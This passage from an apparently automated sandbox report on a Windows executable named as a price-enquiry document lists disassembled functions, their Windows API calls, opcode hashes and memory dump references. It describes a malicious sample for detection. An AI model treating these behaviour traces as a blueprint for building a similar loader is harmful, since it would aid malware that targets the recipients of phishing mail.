Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: 9a1264ef7294111aed0b24918bc0dabd9e6ee18cee4b3dcb1b72f31ee6f46510
Instruction ID: 9b4534643d4666439fb6e7fa0780ec568e551195bda58a6737a49a93b172aaf7
Opcode Fuzzy Hash: 9a1264ef7294111aed0b24918bc0dabd9e6ee18cee4b3dcb1b72f31ee6f46510
Instruction Fuzzy Hash: 7EF0D1B1A04204AFEB148FA5DE88EBF767CEF40358F10483EF001A21C0D6B85D419B2A

Function 10002868 Relevance: 3.2, APIs: 2, Instructions: 156fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(00000000), ref: 10002927
GetLastError.KERNEL32 ref: 10002A2E

Memory Dump Source

Source File: 00000000.00000002.2382298041.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2382285466.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2382311670.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2382325005.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: CreateErrorFileLast
String ID:
API String ID: 1214770103-0
Opcode ID: 56b0631d48e3d5b058df37f2c0bf37a0ba3bd5c787ddc121e10f68fdc3118472
Instruction ID: 346bc7c3d20138bcfc700b2b1684b28c90b224d1e8b0175626a50a5a3d135241
Opcode Fuzzy Hash: 56b0631d48e3d5b058df37f2c0bf37a0ba3bd5c787ddc121e10f68fdc3118472
Instruction Fuzzy Hash: 0E51A2BA905215DFFB10DFA4DC8275937A8EB443D4F22C42AEA049721DCF34A991CB55

Function 004023E0 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402C44: RegOpenKeyExW.KERNELBASE(00000000,000000AE,00000000,00000022,00000000,?,?), ref: 00402C6C

RegQueryValueExW.KERNELBASE(00000000,00000000,?,00000800,?,?,?,?,00000033), ref: 00402411
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsgBC23.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: d5d02330a0b84bea1349a1ce2bb7c7ded35723104df3091ff32549d5f5887c21
Instruction ID: 1209522b8d3984a6b4610ed026cffc7dab670339dbbb9e9ecb5883d5f24cd4f7
Opcode Fuzzy Hash: d5d02330a0b84bea1349a1ce2bb7c7ded35723104df3091ff32549d5f5887c21
Instruction Fuzzy Hash: D5117371915205EEDF14CFA0C6889AFB7B4EF44359F20843FE042A72D0D7B85A41DB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3b73f58598246971e780ef50935e80d1208b404ce952b395e35e3e50ed7a2881
Instruction ID: a30e82e9015a098eeac925556b61d7d627792a5c50f4ab7e1fdfecd72b7c1cbe
Opcode Fuzzy Hash: 3b73f58598246971e780ef50935e80d1208b404ce952b395e35e3e50ed7a2881
Instruction Fuzzy Hash: BE01D131B24210ABE7295B389C09B6A3698E710314F54863EB911F72F1DA78DC139B49

Function 00401DC7 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000,00000001), ref: 00401DDD
EnableWindow.USER32(00000000,00000000), ref: 00401DE8

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 79de01b9e55747bde6d60a221e4bced69db8b685cf3a90370e1b4b2b71668709
Instruction ID: 16f547f83e602d96c884a904eba2f663f46e66ccec186bf88b315e1392079143
Opcode Fuzzy Hash: 79de01b9e55747bde6d60a221e4bced69db8b685cf3a90370e1b4b2b71668709
Instruction Fuzzy Hash: BFE08671B04104DBCB50AFF469489DD7378AB50369B100877F401F10D1C6785C008A3D

Function 004059E3 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402DA9,C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe,80000000,00000003,?,?,?,00000000,00403425,?), ref: 004059E7
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403425,?), ref: 00405A09

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 4aea1d938fffc26f88db0c1450a16801fb26c1c2da6c6aae83084e0ba0c8a9b4
Instruction ID: 6e3fe12f06474a07815b5ea3b085539d8110fe4fc4e7b987d4d26a3482594277
Opcode Fuzzy Hash: 4aea1d938fffc26f88db0c1450a16801fb26c1c2da6c6aae83084e0ba0c8a9b4
Instruction Fuzzy Hash: 75D09E71658201EFEF098F20DE16F6EBBA2EB84B00F10962DB652940E0D6715815DB16

Function 004059BE Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,004055C3,?,?,00000000,00405799,?,?,?,?), ref: 004059C3
SetFileAttributesW.KERNEL32(?,00000000), ref: 004059D7

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 602326d4d9bd9ed3cd650c2996e001abd569afca198e3c7fdfe54113d0d0341f
Instruction ID: 23f3b5b08cf0a90752775bce35de55709fa588a0c5c1dd0fb40ccfe6c2119a3d
Opcode Fuzzy Hash: 602326d4d9bd9ed3cd650c2996e001abd569afca198e3c7fdfe54113d0d0341f
Instruction Fuzzy Hash: E6D01272908120EFC2102728EE0C89BBF95DB543B17118B72FD75A22F0D7304C52CAB6

Function 00402253 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 0040228A

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: ec4fb41ec1acd106f93cf616f3cd4c0d3577891546256094c6c4aadbcc0c0451
Instruction ID: 4332bbb19f5efe4f35bb732f6f353b7f8865d75a24debaa01da2fd7198b4a795
Opcode Fuzzy Hash: ec4fb41ec1acd106f93cf616f3cd4c0d3577891546256094c6c4aadbcc0c0451
Instruction Fuzzy Hash: 18E04F329041246ADB113EF20E8DE7F31689B44718B24427FF551BA1C2D5BC1D434669

Function 00401718 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

SearchPathW.KERNELBASE(?,00000000,?,00000400,?,?,000000FF), ref: 0040172C

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: PathSearch
String ID:
API String ID: 2203818243-0
Opcode ID: 00dec1761c73da766e5415d970d4dd96fd5808b9291e48979631bf81903665b3
Instruction ID: 2362bf7a590fe1e65b1cff5f5e1954f2912f7e42002766c97ecd194ad4b7701a
Opcode Fuzzy Hash: 00dec1761c73da766e5415d970d4dd96fd5808b9291e48979631bf81903665b3
Instruction Fuzzy Hash: CFE04FB2714200AAD710DFA5DE48EEA77ACDB0036CF30467AE611A61D0E2B49A41972D

Function 00402C44 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,000000AE,00000000,00000022,00000000,?,?), ref: 00402C6C

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 699cda25c17bafbadca6f45bdb25344b0c8ec80eddbe54fe411ff33645398d31
Instruction ID: b4a940ff9d96c873bdf480266a19e34540b316432bd0f5e01798d68014561859
Opcode Fuzzy Hash: 699cda25c17bafbadca6f45bdb25344b0c8ec80eddbe54fe411ff33645398d31
Instruction Fuzzy Hash: 89E0BF76254108BAD700EFA5DD46F9677ECEB14745F008425B609D6091C674E5508768

Function 00405A66 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,?,?,00000000,000000FF,?,004031B1,00000000,00000000,00402FF1,000000FF,?,00000000,00000000,00000000), ref: 00405A7A

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 706c1f52c55adc451273f1d2a5d46862a6587a7fe095f8bbabcbc32b8b015297
Instruction ID: 68b9e35a43bd0b01ba0fc1ca952cb594bc8cf903dff1417d3183e578cb5b5c3a
Opcode Fuzzy Hash: 706c1f52c55adc451273f1d2a5d46862a6587a7fe095f8bbabcbc32b8b015297
Instruction Fuzzy Hash: 53E0EC3261425AEFDF50AEA59C44AEB7B6CFB053A0F004433FD15E7190D231E9219FA9

Function 1000278D Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000405C,?,?,1000404C), ref: 100027AB

Memory Dump Source

Source File: 00000000.00000002.2382298041.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2382285466.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2382311670.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2382325005.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction ID: 267fa8ad402a2f1685f06aa6efb9df116a04c7e31b4918ac066fddfc95f4d9be
Opcode Fuzzy Hash: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction Fuzzy Hash: 5EF092F15097A0DEF350DF688C847063BE0E7483C4B03852AE368F6268EB344044CF19

Function 0040159B Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,?), ref: 004015A6

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 4c41f88c581611dce2dc3e1d09c0e73db17245febead23210b04153dccb878ee
Instruction ID: 3a008f1eb1b1242b40efb84196f5f05472ca672afc8891d9c26caab598a60342
Opcode Fuzzy Hash: 4c41f88c581611dce2dc3e1d09c0e73db17245febead23210b04153dccb878ee
Instruction Fuzzy Hash: 88D012B2B08100D7CB10DFE5AA08ADDB7659B10339F304A77D101F21D0D2B8C5419A2A

Function 00403FF1 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000001,00403E1D), ref: 00403FFF

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 68c7d3c3e0f7f1cab3b80b2c1a5527bcb09bd52aa90d361a41447b3617ec313a
Instruction ID: 784fd17e5df65fd1e582592ff515389eb2153c2e002f91b2ba79ebddce7a884a
Opcode Fuzzy Hash: 68c7d3c3e0f7f1cab3b80b2c1a5527bcb09bd52aa90d361a41447b3617ec313a
Instruction Fuzzy Hash: D6B09235685201BAEA214B00ED09F957A62A768701F008464B300240B0C6B248A2DB09

Function 004031B4 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402F30,?,?,?,?,00000000,00403425,?), ref: 004031C2

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 3f2450370ff6ec370cb83e2696936d8051f71d6c0ea90f8f087f694b7f33879c
Instruction ID: 9708a756cc2c9ae94551e8e9c592081b607f980c3267f7876f2ac268d6c84cd7
Opcode Fuzzy Hash: 3f2450370ff6ec370cb83e2696936d8051f71d6c0ea90f8f087f694b7f33879c
Instruction Fuzzy Hash: B8B01231584200BFDA214F00DE05F057B21A790700F10C030B304381F082712420EB5D

Function 004014D7 Relevance: 1.3, APIs: 1, Instructions: 17sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014E6

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 770d4bb518ac4f9cf714b1e464ec1885cf6c6c92e3bf067e428621269e3fd8ca
Instruction ID: ca840a0cce859b8ae2bc82a563140a091be244092cc4fcaf6916384ea8909f5f
Opcode Fuzzy Hash: 770d4bb518ac4f9cf714b1e464ec1885cf6c6c92e3bf067e428621269e3fd8ca
Instruction Fuzzy Hash: E6D0C9B7B141409BDB54EBB8AE8989B73A8E7513297204C73D942F20A1D578D8028A3D

Function 1000121B Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(?,?,10001259,?,?,10001534,?,10001020,10001019,00000001), ref: 10001225

Memory Dump Source

Source File: 00000000.00000002.2382298041.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2382285466.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2382311670.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2382325005.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction ID: 8a0ecea123cfc10dc9c303f5c75fb6a011d4279a03f0c54a853e6fb6a4ccb70c
Opcode Fuzzy Hash: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
